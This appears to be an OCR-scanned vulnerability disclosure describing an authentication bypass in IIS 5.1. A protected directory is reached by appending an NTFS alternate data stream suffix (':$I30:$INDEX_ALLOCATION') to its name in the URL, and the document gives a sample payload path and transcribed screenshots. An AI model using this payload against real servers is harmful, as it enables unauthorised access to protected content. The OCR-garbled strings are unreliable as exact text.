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[IS 5.1 Directory Authentication Bypass

Introduction:
Although IS5 is very old, finding one is not impossible! Therefore, | want to introduce a technique to
bypass the IIS authentication methods on a directory.

Description :

This vulnerability is because of using Alternate Data Stream to open a protected folder. All of IIS
authentication methods can be circumvented (Fig. 1). In this technique, we can add a
“:Si30:SINDEX_ALLOCATION” to a directory name to bypass the authentication.

Figure 2 shows a protected folder -“AuthNeeded” — which includes “secretfile.asp”.
It is possible to run “secretfile.asp” by using:
“/AuthNeeded:Si30:SINDEX_ALLOCATION/secretfile.asp” (Fig. 3)

Instead of:

“/AuthNeeded/secretfile.asp”

Authentication Methods E|

Aocount uzed for anonymals access

Uszer name:

Pazaword:

Authenticated access

For the following authentication methods, uzer name and paszword
are required when

- anonymous access iz dizabled, or

- access iz restricted using MTFS access contral lists

Digest authentication for Windows domain sernvers

B azic authentication [paszward iz gent in clear text]

Default domain:
Realm: TEST

Integrated “Windows authentication

[ ak. l [ Cancel ] [ Help ]

Figure 1- Different authentication methods
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Internet Information Services

Technical Information (for support personnel)

® Background:
This is usually caused by a server-side script not sending the
proper Wiw-aAuthenticate header field. Using Active Server
Fages scripting this is done by using the AddHeader method
of the Response object to request that the client use a
certain authentication method to access the resource,

® More information:
Microsoft Suppork

Figure 2- Protected Directory

) Mozilla Firefox

File  Edit  Wiew Higtory  Bookmarks Tools  Help

6 - c A fEr I|j bt f e vickim. comfAuthMeeded: $i30: $INDEX _ALLOCATION, secretfile. asp

‘ﬁ:}r‘ & v| |';.,.' Google

. @ Most Yisited , Gekking Started |5 | Latest Headlines

J |j http:/ fwww.vickim....ON/secretfile.asp | +

Hey, vou could reach to this secret point!
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Bypass Directory Authentication By Using:

Figure 3- Bypassing the authentication by using ADS
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